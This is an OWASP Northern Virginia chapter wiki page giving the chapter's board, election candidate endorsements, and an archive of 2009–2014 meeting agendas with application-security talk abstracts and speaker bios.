OWASP - User contributions [en]

Virginia

2017-10-23T17:14:56Z

Michael McCabe: cleaned up chapter leaders

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board:

* Abdullah Munawar - Board Chair
* Ben Pick
* Michael McCabe
* Sean Poris

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===September 2014===
'''Date/Time:''' September 4th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

'''AGENDA:'''
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.

'''Presentation Title:'''
The World of Ruby on Rails Security

'''Abstract:'''
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.

'''Speaker Bio:'''
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.

Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.

Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]

----

=== November 2011 ===
'''Date/Time:''' November 3rd, 2011 @ 6pm

'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031

'''AGENDA:'''
# News / Updates
# Talk: "Lessons Learned from the SQL Injection Challenge" by Ryan Barnett (Trustwave SpiderLabs)
# Firetalks! :)

'''Presentation Title:''' "Lessons Learned from the SQL Injection Challenge"

'''Abstract:'''
How effective are blacklist filters vs. SQL Injection attacks? What is the failure rate vs. automated scanning or manual testing? Are there any "Time-to-Bypass" metrics? In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community "SQL Injection Challenge" to test the effectiveness of the OWASP ModSecurity Core Rule Set protections. This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.

'''Speaker Bio:'''
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache".

----

=== October 2011 ===
'''Date/Time:''' October 6th, 2011 @ 6pm

'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166

'''AGENDA:'''
* News / Updates
* AppSec USA 2011 Recap
* Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks "OWASP Top 10 Mobile Risks"]
* Firetalks! :)

=== September 2011 ===

The September meeting was cancelled due to inclement weather (flash flooding).

----

=== August 2011 ===

We held a "social" event at Sweetwater Tavern in Sterling, VA.

----

=== July 2011 ===

'''Date/Time:''' July 7th, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166<br> '''Food Sponsor:'''<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: iGoat - Ken Van Wyk

----

=== June 2011 ===

'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)<br> '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190<br> '''Food Sponsor:''' The College Board<br> '''AGENDA:'''

* News / Updates
* Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 "Insecure Direct Object References"]
* College Board Speaker: "Attack-in-Depth: Exploits of the OWASP Top Ten in Action"
* Firetalks! :)
- Jack Mannino: "Android Security 101"
- Others!

----

=== May 2011 ===

'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190<br> '''Food Sponsor:''' Akamai<br> '''AGENDA:'''

* News / Updates
* 2011 Election (voice vote on the entire slate)
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 "Broken Authentication and Session Management"]
* Speaker: Steve Witmer on A3 from the "breakers" perspective
* Speaker: ??? on A3 from the "fixers/defenders" perspective
* Firetalks! :)
* '''Update:''' All election candidates were elected by voice vote.
* Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM '11 Chapter Board Election Material]

----

=== April 2011 ===

'''Date/Time:''' April 7, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 <br> '''Food Sponsor:''' [https://www.cigital.com Cigital]<br> '''AGENDA:'''

* News / Updates
* 2011 Election
* Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 "Cross-Site Scripting (XSS)"]
* Preso:"Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform" by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])
* Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])
* Preso:"Growing the secure application developer community through expanded curricula" by Tony Gottlieb
* FireTalks (bring it!)

----

=== March 2011 ===

'''Date/Time:''' March 3, 2011 @ 6pm <br> '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 <br> '''AGENDA:'''

* News / Updates
* [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review
* Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 "Injection"]
* Briefing: Training/Preso Plan for the Year

----

=== February 2011 ===

'''Date/Time:''' February 3, 2011 @ 6pm<br> '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset HIlls Dr, Suite 250, Reston, VA 20190<br> '''AGENDA:'''

* News / Updates
* Feedback for [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011]
* Preso: Intro to [http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project OWASP Top 10] + 2
* Briefing: Training/Preso Plan for the Year

----

=== December 2010 ===

'''Date/Time:''' December 2, 2010 @ 6pm<br> '''Location Sponsor:''' [http://hackerspaces.org/wiki/Reverse_Space ReverseSpace], 13505 Dulles Technology Drive, Herndon, VA<br> '''AGENDA:'''

* 2011 Planning Session (Schedule, Volunteers, Speakers, Topics)
* Lightning Talks!! (Bring an idea, a question, a topic, whatever - 5-10 minute talks max!)
* Social / Networking (BYOB!)

----

=== November 2010 ===

'''Date/Time:''' November 4, 2010 @ 6pm<br> '''Location Sponsor:''' Akamai, 11111 Sunset Hills Rd, Suite #250, Reston, VA<br> '''Speaker:''' Ben Tomhave<br> '''Title:''' The Unintended Consequences of Beating Users with Carrot Sticks: Radical Thoughts on Security Reform<br> '''Description:''' What we're doing today is not working and isn't sustainable. The fundamental culture of the average business does not encourage making good security decisions. Software shops continue to focus on functionality and timelines, neglecting information security. In spite of regulations like PCI and HIPAA+HITECH, which are levying fines against organizations for their security failures, the tipping point has clearly not been reached to cause meaningful change. Much of this problem can be attributed to the excessive use of negative incentives (sticks) instead of providing positive incentives (carrots) that inspire better decision making and motivate true change. Fortunately, it's not too late to change tactics and start achieving demonstrable success.<br> '''Speaker Bio:''' Ben Tomhave is a Senior Security Analyst with Gemini Security Solutions in Chantilly, VA, specializing in solutions architecture, security planning, program development and management, and other strategic security solutions. He holds a MS in Engineering Management with an Information Security Management concentration from The George Washington University and is a CISSP.

----

=== June 2010 ===

'''DATE''': Thursday, June 3rd, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER''': Alex Hutton, Verizon Business and http://www.newschoolsecurity.com/<br> '''TOPIC''': Risk Management - Time to blow it up and start over?<br>

'''DESCRIPTION''':

A redux of the presentation that Alex delivered at B-Sides San Francisco during RSA 2010. "Now that the industry is trying to formalize the concept of risk management into neat little compartments like standards (ISO 27005/31000), certifications (CRISC) and products (GRC) guess what? We're doing it wrong. Fundamentally wrong. This talk will discuss why all this current risk management stuff is goofy and what sort of alternatives we have that might help us understand our ability to protect, our tendency towards failure, and how to match that up with what management will stomach."

Slides are available from: [http://www.slideshare.net/BSides/risk-management-time-to-blow-it-up-and-start-over-alex-hutton Risk Management - Time to blow it up and start over?]

<br> '''SPECIAL SPEAKER''':

[http://twitter.com/tiffanyrad Tiffany Rad] provided an overview and update on [http://twitter.com/reversespace Reverse Space] in Herndon, VA. For more information, or to help out, please join the [http://groups.google.com/group/ReverseSpace Reverse Space Google Group].

----

=== May 2010 ===

'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

